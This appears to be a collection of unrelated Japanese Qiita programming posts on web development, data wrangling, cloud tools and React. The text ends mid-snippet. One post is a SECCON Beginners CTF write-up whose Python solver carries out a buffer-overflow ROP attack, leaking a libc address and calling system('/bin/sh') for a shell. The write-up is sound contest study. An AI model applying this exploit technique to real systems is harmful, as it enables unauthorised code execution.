OmniAICreator/Qiita-1.07M huggingface dataset:
コロナ禍で外出できずにいる両親のために「脳活クイズ」を作ってみた！

#作った経緯
こんにちは。wataminoです。
最近、両親と電話で話をすると、「あれ」、「あの人」、「その人」という「これ・それ」言葉がすごく多いのに気が付きました。
今に始まったことではないのですが、人とあまり会話しなくなったからか、結構頻繁にこれそれ言葉がでるので、Webアプリ作成の勉強をしていることもあり、今回、「脳活クイズ」なるものを作ってみました。
#実際クイズに挑戦してみてください。
さあ、問題です。あなたは何問とけますか？
（ここをクリックしたらクイズが始まりますよ！）
　→　https://gallant-engelbart-dec721.netlify.app/
#開発はCodePen
今回の開発には、CodePenを使いました。
※[codepen](https://codepen.io/about)とはウェブ開発に必要なHTML, JS, CSSの三要素を実際の表示を見ながら開発できるウェブサービスです。
![キャプチャ5.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1268391/58ab0fa1-d243-36f4-55c6-2f0cd8a280b2.png)
初めて使ってみましたが、これなかなか使いやすいです。
直接HTML,CSS,JavaScriptを書き込んでいくと、画面下半分のエリアにリアルタイムでコードの内容が表示されます。
![キャプチャ6.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1268391/67b45717-9c1b-1f48-5462-31048b43e26a.png)
#codepenで画像を挿入する
クイズに関連した画像を挿入したいものの、何を使ったら簡単にすぐできるのか？といろいろ模索した結果、「postimages」というサイトを見つけました。
無料でしかも登録せずとも使えるので、おすすめです。
使いかたなどnoteにまとめたので、良かったらご覧ください。
https://note.com/watamino/n/n777e2fd992d0
#今回できなかったこと
webアプリ開発は初めてで、しかも技術力もさほどないためやりたいことがなかなかできませんでした。
・画像処理をスタイルシートで整えられなかった。（styleに直書き）
・クイズの外だしができなかった。（コードに直書き）
#サンプルコード
<p class="codepen" data-height="265" data-theme-id="light" data-default-tab="html" data-user="watamino" data-slug-hash="poeeOWx" style="height: 265px; box-sizing: border-box; display: flex; align-items: center; justify-content: center; border: 2px solid; margin: 1em 0; padding: 1em;" data-pen-title="課題1">
  <span>See the Pen <a href="https://codepen.io/watamino/pen/poeeOWx">
  課題1</a> by watamino (<a href="https://codepen.io/watamino">@watamino</a>)
  on <a href="https://codepen.io">CodePen</a>.</span>
</p>
<script async src="https://cpwebassets.codepen.io/assets/embed/ei.js"></script>
#カスタマイズして使ってください
コードを見ていただくとわかると思いますが、クイズは直書きしています。
（技術不足もあり、今回はあえなく断念しました）
なので、クイズの文言や画像などを直していただければ、***「あなた仕様のクイズ」***がすぐに完成します。国旗あてクイズとか、地図から県を答えてみたり等々、いろいろ使えると思うので、よかったら活用してみてください。
#おわりに
なかなか思うように開発ができず、時間だけが経ってしまいましたが、何事も経験が大事！
これを機にWebアプリ開発のことを勉強していこうと思います！
【php】phpで九九表の作成をせよ

```php

<?php
 
?>
<!DOCTYPE html>
<html lang="ja">
<head>
    <title>九九表</title>
    <!-- レイアウト画像の通り、表に枠線を追加する -->
    <style>
      table {
        border-collapse: collapse;
      }
      td {
        border: solid 1px black;
        padding: 3px;
      }
    </style>
</head>
<body>
  <h1>九九表</h1>
 
  <!-- 九九表の出力 -->
  <table>
    <!-- 各段を繰り返し出力 -->
    <?php for($i = 1; $i <= 9; $i++){ ?>
      <tr>
        <!-- 各段の一つ一つのマスを繰り返し出力 -->
        <?php for($j = 1; $j <= 9; $j++){ ?>
          <td><?php echo $i; ?> * <?php echo $j; ?> = <?php echo $i * $j; ?></td>
        <?php } ?>
      </tr>
    <?php } ?>
  </table>
</body>
</html>
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/954863/37d4b51b-1d10-c855-de28-743b9f687af8.png)
【C#・Android】画面上のタッチ位置の座標取得

C#でandroid用のコードを書く時のメモです。
javaで書く時とほぼ同じですが、微妙に違います。

##コード
違う点は、javaだと`override`の書き方が違う点と、`OnTouchEvent()`の先頭が小文字である点です。

```c#
public class MainActivity : AppCompatActivity {
        protected override void OnCreate(Bundle savedInstanceState)
        {
            // 省略
        }

        /// <summary>画面タッチ時の処理</summary>
        public override bool OnTouchEvent(MotionEvent e)
        {
            System.Diagnostics.Debug.WriteLine("X座標->" + e.GetX() + ",Y座標->" + e.GetY());
            return true;
        }
}
```
[Apple] MacBook向け外付けGPU(eGPU)購入メモ

[https://support.apple.com/ja-jp/HT208544](https://support.apple.com/ja-jp/HT208544)の私的なまとめです。

# サポートしているGPU

| GPU | アーキテクチャ | 発売年
|:--|:--|:-:|
| Radeon RX 470 | GCN Gen4 / Polaris | 2016
| Radeon RX 480 | GCN Gen4 / Polaris | 2016
| Radeon RX 570 | GCN Gen4 / Polaris2 | 2017
| Radeon RX 580 | GCN Gen4 / Polaris2 | 2017
| Radeon Pro WX 7100 | GCN Gen4 / Polaris2 | 2016
| Radeon RX Vega 56 | GCN Gen5 / Vega | 2017
| Radeon RX Vega 64 | GCN Gen5 / Vega | 2017
| Radeon Vega Frontier Edition Air | GCN Gen5 / Vega | 2017
| Radeon Pro WX 9100 | GCN Gen5 / Vega | 2017
| Radeon RX 5700 | RDNA | 2019
| Radeon RX 5700 XT | RDNA | 2019
| Radeon RX 5700 XT 50th Anniversary | RDNA | 2019

Radeon RX 5700 は、macOS Catalina 10.15.1 以降のみ。


# Thuderbolt 3とUSB Type-Cケーブル

* 安心して使えるもの
  * Thunderbolt 3専用アクティブケーブル
      * 通信速度 40Gbps
      * ケーブル長は最大2メートル
      * 光ケーブルの場合は最大60メートル
      * USBとしては使用できない
* 使えるかもしれないもの
  * USB 3.2 Altモード対応ケーブル
      * 通信速度 20Gbps
      * ケーブル長は最大1メートル
* 使えないもの
  * USB 2.0ケーブル
  * USB 3.1ケーブル


参考: https://pc.watch.impress.co.jp/docs/news/event/705100.html
【CSS初心者】marginの基本

Webアプリケーション初心者です。
CSSの「**margin**」を理解しきれておらず、何度か躓いたので、学習した結果を記述しておきます。（自分用メモ）

##marginとは
「**外部余白**」を設定するもの。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1280625/9f3b5638-b7e1-8472-d44c-f9f6170321ab.png)


 * 要素の外側に向かって余白を設けるものが**margin**。

 * 逆に要素の内側に余白を作るのが**padding**。

 * **auto**と書くことによって余白が自動で設定。

 * 外部余白を設けたい方向にmarginを指定。

 * px以外にも％、em、vw、vh等で書くことも可。


##サンプルコード
<p class="codepen" data-height="265" data-theme-id="light" data-default-tab="css,result" data-user="kokano23" data-slug-hash="eYvvXey" style="height: 265px; box-sizing: border-box; display: flex; align-items: center; justify-content: center; border: 2px solid; margin: 1em 0; padding: 1em;" data-pen-title="margin">
  <span>See the Pen <a href="https://codepen.io/kokano23/pen/eYvvXey">
  margin</a> by kokano23 (<a href="https://codepen.io/kokano23">@kokano23</a>)
  on <a href="https://codepen.io">CodePen</a>.</span>
</p>
<script async src="https://cpwebassets.codepen.io/assets/embed/ei.js"></script>
numpy配列をカラー画像として表示

　画像のnumpy配列への変換についての説明は様々な場所でされていますが、numpy配列の形でバンドの情報を持っている場合に、それらをRGBのカラー画像へと組み合わせて表示する方法が意外と出てこなかったのでメモとして残しておきます。dstackで配列をくっつけてPILに渡しましょう。例では衛星画像のバンドをnumpy配列で取得したものを用いています。

```python:arrayToRGB.py
from PIL import Image
import numpy as np

#B3、B4、B5はLandsat 8衛星のバンドをnumpy arrayとして読み込んだもの
#B5を赤、B4を緑、B3を青として割り振る
B3=(test.read(1)*0.1).astype(np.uint8) 
B4=(test.read(2)*0.1).astype(np.uint8)
B5=(test.read(3)*0.1).astype(np.uint8)

print(B3.shape)
#(776, 2274)

im_RGB = np.dstack([B5,B4,B3]) #R,G,Bの順番に対応する配列を置く
print(im_RGB.shape)
#(776, 2274, 3)

pil_img = Image.fromarray(im_RGB,"RGB")
pil_img
```
出力画像（赤い場所が植生が濃い地域）
![ダウンロード (15).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1059565/1ef7da70-bb00-c1ab-38f7-aecc4fc9b1a2.png)
SECCON Beginners CTF 2021 pwn 02 beginners_rop Writeup

SECCON Beginners CTF 2021 pwn 02 beginners_rop Writeup
ネットワーク越しに初めてpwnを解いたので，フラグが表示された時，天国に逝きそうになった。
まだ50代なのであと20年は生きたい。
この１か月間，Linuxバッファオーバーフローの勉強をしてきた成果が出てうれしい。
この得点がなければ，初めてうちの会社の若い衆に負けていたかもしれない。

# 入手データ

```
src.c
chall
libc-2.27.so
Makefile
```

```c:src.c
#include <stdio.h>
#include <unistd.h>

char *gets(char *s);

int main() {
    char str[0x100];
    gets(str);
    puts(str);
}

__attribute__((constructor))
void setup() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    alarm(60);
}
```

短い。
gets に bof があり，
puts で libc leak が出来る。


# 作戦

puts で libc leak をして system("/bin/sh") でしとめる。

# bofの確認

char str[0x100];なので "A" * 0x100 + 8 と予測できる 

念のため，gdbで確認
gdbでmain関数のリターンアドレスを調べる
getsの後ろにブレークポイントを設定して AAA を入力する
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/0e00a093-3ab9-6057-32fe-b669c515737c.png)
”A” * 8 * 33 = "A" * 0x100 + 8

# ROP部品集め

```
$ objdump -d -M intel ./chall | less
/ 5f
  401282:       41 5f                   pop    r15
  401284:       c3    
```

```
pop rdi ; ret ;
0x401283
```

```
ret ;
0x401284
```

# 攻撃コード

```python:solver.py
# coding: UTF-8

from pwn import *
import pwn

io = remote("beginners-rop.quals.beginners.seccon.jp", 4102)
#io = pwn.process("./chall")

file = "./chall"
libc = "./libc-2.27.so"

chall = ELF(file)
libc = ELF(libc)

# ROPの部品（objdump で調べる）
pop_rdi = 0x401283
ret = 0x401284

# 動的に配置されたputsのアドレスをputsでリークさせる
# leak後，もう一度bofを起こして攻撃するので最後にmainに飛ばす
payload = b""
payload += b"A" * 8 * 33
payload += p64(pop_rdi)
payload += p64(chall.got["puts"])
payload += p64(chall.plt["puts"])
payload += p64(chall.sym["main"])

io.sendline(payload)

# リークさせたputsのアドレスからlibcのベースアドレスを特定
io.recvline()
libc_leak = u64(io.recvline().rstrip().ljust(8, b"\x00"))
libc.address = libc_leak - libc.sym["puts"]

# system("/bin/sh")でshellをとる
payload = b""
payload += b"A" * 8 * 33
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(next(libc.search(b"/bin/sh\x00")))
payload += p64(libc.sym["system"])

io.sendline(payload)
io.interactive()
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/713d1e8a-f32b-f5e2-eb11-695f0ab5871d.png)
ls を打って flag.txt が見えた瞬間，一瞬，心肺が停止しました。
沖縄県の新型コロナウイルス陽性者一覧をデータラングリング

https://www.pref.okinawa.lg.jp/site/hoken/kansen/soumu/press/20200214_covid19_pr1.html

```python
import datetime
import pathlib
import re

from urllib.parse import urljoin

import requests
import pandas as pd
from bs4 import BeautifulSoup

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
}


def fetch_soup(url, parser="html.parser"):

    r = requests.get(url, headers=headers)
    r.raise_for_status()

    soup = BeautifulSoup(r.content, parser)

    return soup


def fetch_file(url, dir="."):

    p = pathlib.Path(dir, pathlib.PurePath(url).name)
    p.parent.mkdir(parents=True, exist_ok=True)

    r = requests.get(url)
    r.raise_for_status()

    with p.open(mode="wb") as fw:
        fw.write(r.content)
    return p


def str2date(s: pd.Series) -> pd.Series:

    df = (
        s.str.extract("(\d{4})年(\d{1,2})月(\d{1,2})日")
        .rename(columns={0: "year", 1: "month", 2: "day"})
        .fillna(0)
        .astype(int)
    )

    return pd.to_datetime(df, errors="coerce")

# スクレイピング
url = "https://www.pref.okinawa.lg.jp/site/hoken/kansen/soumu/press/20200214_covid19_pr1.html"

soup = fetch_soup(url)

tag = soup.find("a", class_=None, text=re.compile("^陽性者一覧"), href=re.compile(".csv$"))
link = urljoin(url, tag.get("href"))

# データラングリング

p = fetch_file(link)
df = pd.read_csv(p, encoding="cp932")

df["確定日YMD"] = str2date(df["確定日"])
df["発病日YMD"] = str2date(df["発病日"])
df["状況"] = df["発病日"].where(df["発病日YMD"].isnull())

df

# 削除条件抽出

df["drop"] = False

# 確定陽性者が数字じゃない
df["drop"] = df["drop"].where(df["確定陽性者"].str.isnumeric(), True)

# 性別が男性・女性・非公表じゃない
df["drop"] = df["drop"].where(df["性別"].isin(["男性", "女性", "非公表"]), True)

# 年齢が欠番
df["drop"] = df["drop"].mask(df["年齢"] == "欠番", True)

# 削除条件抽出

df1 = df[~df["drop"]].copy()

df1.drop("drop", axis=1, inplace=True)

df1["確定陽性者"] = df1["確定陽性者"].astype(int)

df1.set_index("確定陽性者", inplace=True)
df1.sort_index(inplace=True)

df1.to_csv("output.csv", encoding="utf_8_sig")

# 削除条件抽出

df2 = df[df["drop"]].copy()

# 削除条件の番号抽出

# 数字以外を除去
missing_num = sorted([int(i) for i in df2["確定陽性者"].to_list() if i.isdecimal()])

JST = datetime.timezone(datetime.timedelta(hours=+9))
dt_now = datetime.datetime.now(JST).replace(tzinfo=None)

with open("report.txt", "w") as fw:
    print(f'Report created at: {dt_now.strftime("%H:%M:%S")} JST', file=fw)
    print(f"Total cases: {len(df)}", file=fw)
    print(f"Missing cases: {len(missing_num)}", file=fw)
    print(f"Missing case id: {missing_num}", file=fw)
```
Amazon TranslateでUnsupported target languageとエラーが出たときはカスタム用語を疑う

# はじめに

私は都内のWeb系企業で、自然言語処理をメインに機械学習について研究をしています。
そこで、最近`AWS`のAI系のサービスも調査をしています。

そこで、[使って分かったAWSのAI](https://www.amazon.co.jp/gp/product/B08C71Y83P/ref=as_li_tl?ie=UTF8&camp=247&creative=1211&creativeASIN=B08C71Y83P&linkCode=as2&tag=720188-22&linkId=992ffed3b945c4c7e62f5246cd67dcf6)という本でサービスを一通り触れています。
この本では、各サービスをとりあえず動かしてどのようなものかを紹介する内容になっています。

その中で`Amazon Translate`を利用する箇所でエラーが出ましたので、そちらについてまとめます。

# 問題

英語から日本語に翻訳する際に、カスタム用語を設定しました。
`csv`で以下のようなファイルを作成して、モデルに読み込ませます。

```my_terminology.csv
en,jp
Sukiyaki,上を向いて歩こう
```

これは`Sukiyaki`を`スキヤキ`と翻訳せず、`上を向いて歩こう`に翻訳するように設定しています。
読み込ませるためのコードは以下のようになっています。

```translate.py
import boto3
import json

client = boto3.client('translate', region_name='us-east-1')

with open('my_terminology.csv', 'rb') as mt:
    bytes_data = mt.read()
    response = client.import_terminology(
        Name='my_terminology',
        MergeStrategy='OVERWRITE',
        TerminologyData={
            'File': bytes_data,
            'Format': 'CSV',
	    }
    )
    
    print(response)
```

すると、以下のエラーが発生しました。

```
---------------------------------------------------------------------------
InvalidParameterValueException            Traceback (most recent call last)
<ipython-input-17-8cd1f28f9f90> in <module>()
     11         TerminologyData={
     12             'File': bytes_data,
---> 13             'Format': 'CSV',
     14 	    }
     15     )

/opt/conda/lib/python3.6/site-packages/botocore/client.py in _api_call(self, *args, **kwargs)
    355                     "%s() only accepts keyword arguments." % py_operation_name)
    356             # The "self" in this scope is referring to the BaseClient.
--> 357             return self._make_api_call(operation_name, kwargs)
    358 
    359         _api_call.__name__ = str(py_operation_name)

/opt/conda/lib/python3.6/site-packages/botocore/client.py in _make_api_call(self, operation_name, api_params)
    659             error_code = parsed_response.get("Error", {}).get("Code")
    660             error_class = self.exceptions.from_code(error_code)
--> 661             raise error_class(parsed_response, operation_name)
    662         else:
    663             return parsed_response

InvalidParameterValueException: An error occurred (InvalidParameterValueException) when calling the ImportTerminology operation: Unsupported target language. (line 1)
```

調べたところ該当するものがなく、ターゲットがサポート外とのことでよくわからず困りました。

# 解決方法

結論から言うと、これは`csv`に問題がありました。


```my_terminology.csv
en,jp
Sukiyaki,上を向いて歩こう
```

ですが、`en,jp`となっていますが、本当は`en,ja`でした。
こちらが正しいです。

```my_terminology.csv
en,ja
Sukiyaki,上を向いて歩こう
```

エラーがcsvで起きているとは思わず、読み込むほうのコードを疑って時間を使ってしまいました。

ですので、このエラーが出た場合言語の指定をしている箇所が間違っていないか確認するとよいかもしれません。

# おわりに

エラーがら原因がわかりづらいと感じたものは記事にするようにしています。
同じミスをする人はかなり少ないと思いますが、誰かの参考になればと思います。
【メモ】入力ウィンドウと文字置きかえ



#検索窓を表示させて、値を代入する

```js

var rawAddress = "";
if( rawAddress == ""){

	var proaddress = window.prompt('アドレスを入力してください','');
	if(proaddress === '' || proaddress === null){
		alert("サンプルアカウントを表示します");
		proaddress = "SAMPLE";
	}
	rawAddress = proaddress.replace( /-/g , "" ).toUpperCase();

	if(history.replaceState) {
		history.replaceState(null,null,"?address=" + rawAddress);
	}
```

#gオプション

```js
var name = "This is A , A is B . "；
    name.replace(/A/g, "C");
   => "This is C , C is B ."
```
terraform fmtがサブディレクトリ配下のファイルをフォーマットしてくれなくなってた

久しぶりにTerraformを触っていたら、`terraform fmt`がカレントディレクトリのファイルしかフォーマットしてくれなくなっていた。
`terraform fmt -recursive`としてあげるとディレクトリ配下のファイルもフォーマットしてくれた。

# サブディレクトリのファイルをフォーマットしれくれない

`terraform fmt`としても、カレントディレクトリのファイルしかフォーマットしてくれなくなっていた。

```
.
|-- modules
|   `-- network
|       |-- variables.tf  <- フォーマットされない
|       `-- main.tf       <- フォーマットされない
|-- development.tf
`-- production.tf
```

`fmt`の[ドキュメント](https://www.terraform.io/docs/cli/commands/fmt.html)を読んでみると、

> By default, fmt scans the current directory for configuration files. If the dir argument is provided then it will scan that given directory instead. If dir is a single dash (-) then fmt will read from standard input (STDIN).

雑に訳すと、「カレントディレクトリのファイルのみフォーマットをする」となっていた。

困った！と思ってオプションを見てみると、

> `-recursive` - Also process files in subdirectories. By default, only the given directory (or current directory) is processed.

`recursive`オプションをつけるとサブディレクトリ内のファイルも見て、フォーマットをしてくれる。

どのバーションから変わったのかを探してみたが、公式が出しているものは見つけられなかった。

# 結論

Terraformをアップデートしたら、`fmt`ではなく`fmt -recursive`を使うようにしましょう。

# 引用

https://www.terraform.io/docs/cli/commands/fmt.html
CodePenで使いたい？プログラムまとめメモ

CodePenで使用したい！と思ったプログラムまとめるメモです。

##使用したいプログラム
###1 Twitter Button Concept by Erik Deiner
Bennett Feelyさんが作成してくださったTwitter Button Concept by Erik DeinerのTwitterボタン部分だけ使用したい。
JSも使われておらず、HTMLだけなのが魅力的。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1269684/673f7610-3c86-ef39-66be-6378d4e57de0.png)

###2 Social icon animation
Brian Phillipsさんが作成してくださったSocial icon animation
Twitter以外にもWebアプリに載せたいSNSがあれば使用したい。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1269684/da1a4b3c-a48a-0ae3-f270-ee1560437ff7.png)

###3 Bullseye Game
Elliot Genoさんが作成してくださったBullseye Game
これは今までの2つとは違う案で行く場合の使用したいプログラム
弓矢ではなくキャプテンアメリカの盾に変えてヴィランを倒すゲームを作りたい。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1269684/77c953f6-9308-ea55-a7c8-b535c2af2db3.png)

以上、使いたいなと思ったプログラムまとめメモでした。
CodePen基礎

CodePenを初めて使用して日にちが開いてしまったのでWebアプリ作成するために1つ1つ確認していくためのメモ。

##エディター画面
HTML,CSS,JSの3つにわかれており、プログラム記載後すぐにしたのエリアに反映される。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1269684/1055fe55-4c44-f1f1-e588-7d500b5536ca.png)

左下のConsoleボタンを押すことでログをを確認することができる。
いきなり結果が反映されなくなったり、ボタンを押しても思い通りに反映されないときはここをチェック！

##Fork
CodePen内で公開されているプログラムを持ってくる機能。
公開されているプログラムを開いた際そのままでも編集すことができるが要注意。
編集したものはForkの機能を実行してからではないと保存できないので気を付ける必要有
そもそもの話だがエディター上のバーにSaveボタンが表示されない。
※Fork前
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1269684/68c526f4-0361-aff3-99d5-7af3357b076a.png)

※Fork後
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1269684/ded06f58-5830-b19b-2cd1-eba5ed5fc90c.png)

Forkボタンは右下にある。

##JSライブラリの追加
JSライブラリの追加方法として直接プログラムに書かない方法がある。
まず各種右上にある設定ボタン（歯車のボタン）を押す。
Pen SettingsからJSタブに遷移し、2つ目の項目がJSライブラリになる。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1269684/218272c1-3ca2-d62c-da87-2cf8cceca846.png)

##JSライブラリの取得方法
[jsdelivr](https://www.jsdelivr.com/)よりライブラリを検索する。
選択したライブラリの圧縮を意味するminが記載された~~HTML~~URL（画像間違え注意）をコピーし先ほどの場所に追加する。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1269684/61403a73-d1d1-60cf-1fde-49e771328e9e.png)

##CSSフレームワークの追加
同じような手順でCSSのフレームワークを追加することができる。
JSライブラリ同様、Pen SettingsからCSSタブに遷移。
4つ目の項目がフレームワークになる。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1269684/7fe99fa4-f12d-2696-9fd6-79dfb371f85e.png)

CSSの取得方法もJSと同様。
CodePenからObnizを起動するメモ

「[自作PC特化だけど、リモート起動や自動起動を好きにカスタムできるWebアプリをobnizで試作してみた](https://qiita.com/PmanRabbit/items/dc265392961b2182b9b0)」を参考にObnizを起動すまでのメモ

##第1段階
まずはLEDの点灯ができるか引用したそのままのHTMLとJSをCodePenにコピペ。
問題なく起動ボタンで点灯

##第2段階
次にHTMLの見た目をobnizID入力だけにするのと、ライブラリをコードから設定に追加し削除する。
ここで問題発生！
obnizのライブラリ追加の時だけ動かない。

```JavaScript
<script src='https://unpkg.com/obniz@3.9.0/obniz.js'>
```

上記のコードからバージョンの違いでJSでエラーが起きているのではないかと推測。
追加しようとしていたライブラリが3.15.1だったので3.9.0に修正し追加するも動かず。

よく見ると追加しようとしているライブラリが違うことに気づく。
ここで書かれているobinizライブラリはブラウザからインストールするためのURLなのでunpkg.comで提供されているものを使用する。[obnizインストール参考](https://obniz.com/ja/doc/reference/common/install)

```JavaScript
<html lang="jp" >
<head>
  <meta charset="UTF-8">
  <title>HPC-accede</title>
  <meta name="viewport" content="width=device-width, initial-scale=1">
    <link rel='stylesheet' href='https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.5.0/css/bootstrap.min.css'>
</head>

<body>
<!-- 全体をVue.js有効にする -->
<div id="app" class="container text-white bg-dark p-1">

  <!-- タイトル -->
  <div class="row text-center">
    <div class="col-sm-6 mx-auto"><h1>HPC-accede</h1></div>
  </div>
  <!-- 設定 -->
  <div class="form-group my-3 mx-4">
    <div class="border-bottom col-sm-12"><h5>Obniz ID</h5></div>
  </div>
  <div class="form-group form-inline my-3 mx-5">
    <input v-model:value="ObnizID[0]" class="form-control" type="text" maxlength="4" style="width:80px;">
    <label class="control-label mx-2">-</label>
    <input v-model:value="ObnizID[1]" class="form-control" type="text" maxlength="4" style="width:80px;">  
  </div>

  <!-- 即時電源ON -->
  <div class="form-group my-3 mx-4">
    <div class="border-bottom col-sm-12"><h5>即時起動</h5></div>
  </div>
  <div class="form-group my-3 mx-5">
    <button v-on:click="PowerON" class="btn btn-success">電源ON</button>
  </div>


</body>
</html>
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1269684/59d799ad-673f-33f8-f0a2-6405d5bcf259.png)

第2段階突破！

##第3段階
JSを電源ONのみに変更
dataの曜日設定を削除のみ変更

```JavaScript
const sleep = (msec) => new Promise(res => setTimeout(res, msec));
// Obniz関数
let obniz;

// Obniz呼び出し関数
const connect = function(func, ob){
  console.log(ob.connectionState);
  // Obnizへの接続を確認
  if (ob.connectionState === "connected") {
    func();
  } else {
    ob.on('connect', () => {
      func();
    })
  }
}

const app = new Vue({
  el: '#app', // Vueが管理する一番外側のDOM要素
  data: {
    // Vue内部で利用する変数定義
    ObnizID: ['0000', '0000'],
  },

  methods: {
    // 関数はココに記述
    PowerON: function() {
      // LED ON
      // Obniz ID 指定
      let obnizid = `${this.ObnizID[0]}-${this.ObnizID[1]}`;
      console.log(obnizid);
      this.obniz = new Obniz(obnizid);

      let me = this; // thisを関数内で使えないので変数に代入
      // connect関数を呼んで、connect関数内で以下のFunctionを実行
      connect(async function() {
        const led = me.obniz.wired('LED', { anode: 0, cathode: 1 });
        me.obniz.display.clear();
        me.obniz.display.print('ON');
        led.on(); await sleep(1000); led.off();   // LED点灯 1s
        me.obniz.display.clear();
      }, this.obniz);
    },
  },
});
```
これにてObnizを起動するCodePenの完成。
Ruby on Rails 命名規則 【初心者向け】

##モデルクラス名の命名規則って単数形？それとも・・・##
<p>
毎回検索しては忘れる命名規則・・・<br>
Ruby on Railsでアプリを作成する際、命名規則がややこしかったのでまとめてみました。
</p>
## モデルクラス名は単数形
　そもそもModelとは、データベースにデータを格納・更新したり、格納したデータを検索したりする役割を持っています。モデルクラスとは、つまりデータベースとやりとりをするクラスのこと。
ちなみにクラスはオブジェクト指向言語における__設計図__と言われています。
例として、`User`という設計図に、`name`、`age`という項目を作成しましょう。
設計図に基づいて`user`というインスタンスを作成します。
このとき、`user`インスタンスをいくつ作成しても`User`という設計図は1つなので、モデルクラス名は__単数形__で表します。

これだけなら覚えられる！
ややこしくなるのは、他にも同じ単語で命名するものがあるからですよね・・・


### テーブル名は複数形
 設計書を元に作成した`user`の情報を保存しているのが、`users`テーブル(= データベース)です。
テーブルには複数の`user`情報を保存するので、__複数系__で表されます。

### コントローラー名も複数形
　Controllerとは、ブラウザからのリクエストを受け取り、結果をブラウザに送る役割をしています。
結果をブラウザに送ることをactionといい、コントローラーは複数のアクションを持つためこちらも__複数形__で表されます。

それぞれ意味が分かればなんてことはないですね！

最後に表にまとめましょう。

| 名称 | 例 | 規則 |
|:-:|:-:|:-:|
| モデル名  | user  |  単数形 |
| モデルクラス名  | User  | 単数形・先頭大文字  |
| テーブル名  | users  | 複数形  |
|  コントローラー名 | users  | 複数形  |
|  コントローラークラス名 | Users  | 複数形・先頭大文字  |

先頭大文字について触れていませんが、クラス名は頭文字を大文字にする決まりがあります。
その辺りはまた別の機会に・・・（と言って参考URLを貼っておきます）

https://qiita.com/gakkie/items/3afcd505c786364aa5fa

<meta name=”description” content=”ややこしいRuby on Railsの命名規則を初心者ながらわかりやすいようまとめてみました。”>
コーディングいらない自動化テストツール ー Selenium IDE

# Selenium IDE (No Coding Required)

簡単に操作が出来るし、コーディングがいらないし、自動化テストツールの使用方法を紹介いたします。

## インストール

- [Selenium IDE chrome plugin](https://chrome.google.com/webstore/detail/selenium-ide/mooikfkahbdckldjjndioackbalphokd?hl=ja)

## 使い方

新しいプロジェクトでテストを録画する

- Start recording

- Run current test

- Save project

既存のプロジェクトを開く

- import `.side` file

- Run current test

## ターミナルで実行

- nodeがインストール済み

- `npm install -g selenium-side-runner`

- `npm install -g chromedriver`

- `selenium-side-runner /path/to/your-project.side`
useCallbackとuseMemoをざっくり理解

#useCallbackとは何か
ざっくりいうと、useStateでの値が普通の関数で変更された場合、returnの下にあるものすべてが再度renderされてしまうが、値を更新する関数をcallbackで包み込んでおけば値が変わった箇所だけがrenderされ、ちょっと早くなる。

##通常ケース
```
const [num, setNum] = useState(0)
const [num2, setNum2] = useState(0)

const callback = () => setNum(num + 1)
const callback = () => setNum2(num2 + 1)
return (
<p>number:{num}</p>
<p>number:{num2}</p>
<button onClick={callback}>click</button>
<button onClick={callback2}>click2</button>
) 
```
clickかclick2のどちらかを押した時点でnum, num2どちらも再renderされてしまう。


##useCallbackのケース
useCallbackはuseEffectと同様、第二引数に変数をセットできる。その第二引数が変化したときのみ再renderされるようにできるから、わざわざどちらもrenderし直すことがなくなるのだ。


```
const [num, setNum] = useState(0)
const [num2, setNum2] = useState(0)

//numが変わった時だけrender
const callback = useCallback(() => setNum(num + 1), [num])
//num2が変わった時だけrender
const callback = useCallback(() => setNum2(num2 + 1), [num2])
return (
<p>number:{num}</p>
<p>number:{num2}</p>
<button onClick={callback}>click</button>
<button onClick={callback2}>click2</button>
) 
```

こうすることでnum, num2のアップデートが完全に切り離され早くなるよね。やったー！

##useMemoとは何か
useMemoはusecallbackのようにrenderする時を絞ることと同時に、変数と計算結果を保存してくれるやつ。
つまり”機能的には”useCallbackの上位互換である。ただし計算結果を保存するのもコストがかかっているし計算が簡単なものに対してuseMemoを使ってもcacheを無駄にしてしまう。

上のコードのuseCallbackをuseMemoに置き換えればそのまま成り立つので今回は割愛。



##まとめ

今回はreactを最適化するためのuseCallbackとuseMemoを漁ったが、正直、普段使っているようなただuseStateをtrueからfalseに変えるだけのようなものに、これらを使っても正直あんまり変わらないし、コードがほかのエンジニアにとって読みにくくなるだけである。
使う場所は非常に複雑な計算、処理の重い場所に限定すること。
JavaScript 組み合わせ(コンビネーション) 速め メモ

http://caprest.hatenablog.com/entry/2016/05/29/181102
のJavaScript版です。

```JavaScript
function comb(N, K){
  v = [];
  for(i = 0; i < N + 1; i++){
    v.push([]);
    v[i][0] = BigInt(1);
    v[i][i] = BigInt(1);
  }
  for(k = 0; k < N + 1; k++){
    for(j = 1; j < k; j++){
      v[k][j] = v[k-1][j-1]+v[k-1][j];
    }
  }
  return v[N][K]
  //return: BigInt
}
```
google api ruby client の service account の auth で任意の認証情報を指定する方法

# 概要
google api を ruby から service account を使って実行するときは認証情報の入った json を指定するか

```ruby
scope = 'https://www.googleapis.com/auth/androidpublisher'

authorizer = Google::Auth::ServiceAccountCredentials.make_creds(
  json_key_io: File.open('/path/to/service_account_json_key.json'),
  scope: scope)

